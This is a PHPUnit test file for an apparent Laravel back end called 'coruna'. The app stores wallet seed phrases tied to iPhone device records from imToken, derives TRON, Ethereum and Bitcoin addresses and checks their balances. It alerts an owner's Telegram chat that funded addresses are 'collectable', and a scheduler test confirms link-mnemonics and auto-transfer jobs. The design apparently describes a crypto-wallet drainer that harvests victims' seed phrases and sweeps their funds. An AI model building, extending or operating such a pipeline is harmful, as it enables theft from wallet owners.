278 lines
11 KiB
PHP
278 lines
11 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\MnemonicAddressLinker;
|
|
use App\Services\MnemonicWalletDiscovery;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class CollectableAddressNotifyTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
|
|
private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
|
|
|
private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
|
|
|
private const BTC_0 = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
|
|
config([
|
|
'coruna.telegram.bot_token' => 'tg-token',
|
|
'coruna.telegram.owner_chat_id' => '10001',
|
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
|
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
|
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
|
'coruna.btc.api_url' => 'https://mempool.example/api',
|
|
]);
|
|
}
|
|
|
|
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
|
|
{
|
|
$row = new WalletMnemonic([
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
]);
|
|
$row->mnemonic = self::MNEMONIC;
|
|
$row->save();
|
|
|
|
return $row;
|
|
}
|
|
|
|
#[Test]
|
|
public function schedule_runs_link_mnemonics_with_auto_transfer(): void
|
|
{
|
|
$this->artisan('schedule:list')
|
|
->expectsOutputToContain('coruna:link-mnemonics')
|
|
->expectsOutputToContain('coruna:auto-transfer')
|
|
->assertSuccessful();
|
|
}
|
|
|
|
#[Test]
|
|
public function successful_link_sends_collectable_address_telegram(): void
|
|
{
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-collect-link',
|
|
'ios_version' => '18.0',
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
$this->storeMnemonic($device);
|
|
|
|
$addr = WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => self::TRON_0,
|
|
'chain_type' => 'TRON',
|
|
'source' => 'imToken',
|
|
'monitor' => 0,
|
|
'trx' => 3.5,
|
|
'usdt' => 12,
|
|
]);
|
|
|
|
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
|
|
|
Http::assertSent(function ($request) {
|
|
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
|
return false;
|
|
}
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '地址可归集通知')
|
|
&& str_contains($text, self::TRON_0)
|
|
&& str_contains($text, 'TRX: 3.5')
|
|
&& str_contains($text, 'USDT: 12')
|
|
&& ($request->data()['chat_id'] ?? null) === '10001';
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function unmatched_link_does_not_send_collectable_telegram(): void
|
|
{
|
|
Http::fake([
|
|
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$device = Device::query()->create(['device_id' => 'dev-collect-miss']);
|
|
$this->storeMnemonic($device);
|
|
|
|
$addr = WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => 'TXYZunmatched111111111111111111111',
|
|
'chain_type' => 'TRON',
|
|
'source' => 'imToken',
|
|
'monitor' => 0,
|
|
]);
|
|
|
|
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
|
|
|
Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知'));
|
|
}
|
|
|
|
#[Test]
|
|
public function mnemonic_derive_sends_collectable_addresses_and_balances(): void
|
|
{
|
|
Http::fake(function ($request) {
|
|
$url = $request->url();
|
|
if (str_contains($url, 'api.telegram.org')) {
|
|
return Http::response(['ok' => true], 200);
|
|
}
|
|
if (str_contains($url, '/wallet/getaccount')) {
|
|
$addr = (string) ($request->data()['address'] ?? '');
|
|
if ($addr === self::TRON_0) {
|
|
return Http::response([
|
|
'address' => $addr,
|
|
'create_time' => 1,
|
|
'balance' => 5_000_000,
|
|
], 200);
|
|
}
|
|
|
|
return Http::response([], 200);
|
|
}
|
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
|
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
|
|
}
|
|
if (str_contains($url, 'ethereum.example')) {
|
|
$data = $request->data();
|
|
$method = $data['method'] ?? '';
|
|
$target = strtolower((string) ($data['params'][0] ?? ''));
|
|
$hit = $target === self::ETH_0;
|
|
if ($method === 'eth_getTransactionCount') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
|
|
}
|
|
if ($method === 'eth_getBalance') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
|
}
|
|
if ($method === 'eth_call') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
|
}
|
|
}
|
|
if (str_contains($url, 'mempool.example')) {
|
|
$activated = str_contains($url, self::BTC_0);
|
|
return Http::response([
|
|
'chain_stats' => [
|
|
'tx_count' => $activated ? 1 : 0,
|
|
'funded_txo_count' => $activated ? 1 : 0,
|
|
'funded_txo_sum' => $activated ? 100_000 : 0,
|
|
'spent_txo_sum' => 0,
|
|
],
|
|
], 200);
|
|
}
|
|
|
|
return Http::response([], 404);
|
|
});
|
|
|
|
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
|
|
$this->assertSame(
|
|
[1, 1, 1],
|
|
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
|
|
);
|
|
|
|
Http::assertSent(function ($request) {
|
|
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
|
return false;
|
|
}
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '地址可归集通知')
|
|
&& str_contains($text, self::TRON_0)
|
|
&& str_contains($text, self::ETH_0)
|
|
&& str_contains($text, self::BTC_0)
|
|
&& str_contains($text, 'TRX:')
|
|
&& str_contains($text, 'USDT:')
|
|
&& str_contains($text, 'BTC:')
|
|
&& ($request->data()['chat_id'] ?? null) === '10001';
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function rediscovery_does_not_resend_collectable_telegram(): void
|
|
{
|
|
Http::fake(function ($request) {
|
|
$url = $request->url();
|
|
if (str_contains($url, 'api.telegram.org')) {
|
|
return Http::response(['ok' => true], 200);
|
|
}
|
|
if (str_contains($url, '/wallet/getaccount')) {
|
|
$addr = (string) ($request->data()['address'] ?? '');
|
|
if ($addr === self::TRON_0) {
|
|
return Http::response(['address' => $addr, 'create_time' => 1, 'balance' => 5_000_000], 200);
|
|
}
|
|
|
|
return Http::response([], 200);
|
|
}
|
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
|
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
|
|
}
|
|
if (str_contains($url, 'ethereum.example')) {
|
|
$data = $request->data();
|
|
$method = $data['method'] ?? '';
|
|
$target = strtolower((string) ($data['params'][0] ?? ''));
|
|
$hit = $target === self::ETH_0;
|
|
if ($method === 'eth_getTransactionCount') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
|
|
}
|
|
if ($method === 'eth_getBalance') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
|
}
|
|
if ($method === 'eth_call') {
|
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
|
}
|
|
}
|
|
if (str_contains($url, 'mempool.example')) {
|
|
$activated = str_contains($url, self::BTC_0);
|
|
|
|
return Http::response([
|
|
'chain_stats' => [
|
|
'tx_count' => $activated ? 1 : 0,
|
|
'funded_txo_count' => $activated ? 1 : 0,
|
|
'funded_txo_sum' => $activated ? 100_000 : 0,
|
|
'spent_txo_sum' => 0,
|
|
],
|
|
], 200);
|
|
}
|
|
|
|
return Http::response([], 404);
|
|
});
|
|
|
|
$device = Device::query()->create(['device_id' => 'dev-collect-rediscover']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$discovery = app(MnemonicWalletDiscovery::class);
|
|
|
|
// First pass: 3 activated addresses discovered + notified.
|
|
$this->assertSame(3, $discovery->discoverActivated($mnemonic));
|
|
|
|
// Second pass: rows already linked → persistActivated returns null for each
|
|
// → no new $saved → return 0, and no telegram re-send.
|
|
$sentBefore = collect(Http::recorded())->filter(
|
|
fn ($r) => str_contains((string) $r[0]->url(), 'api.telegram.org/bottg-token/sendMessage')
|
|
)->count();
|
|
|
|
$this->assertSame(0, $discovery->discoverActivated($mnemonic));
|
|
|
|
$sentAfter = collect(Http::recorded())->filter(
|
|
fn ($r) => str_contains((string) $r[0]->url(), 'api.telegram.org/bottg-token/sendMessage')
|
|
)->count();
|
|
|
|
$this->assertSame($sentBefore, $sentAfter, 'rediscovery must not resend collectable notifications');
|
|
}
|
|
}
|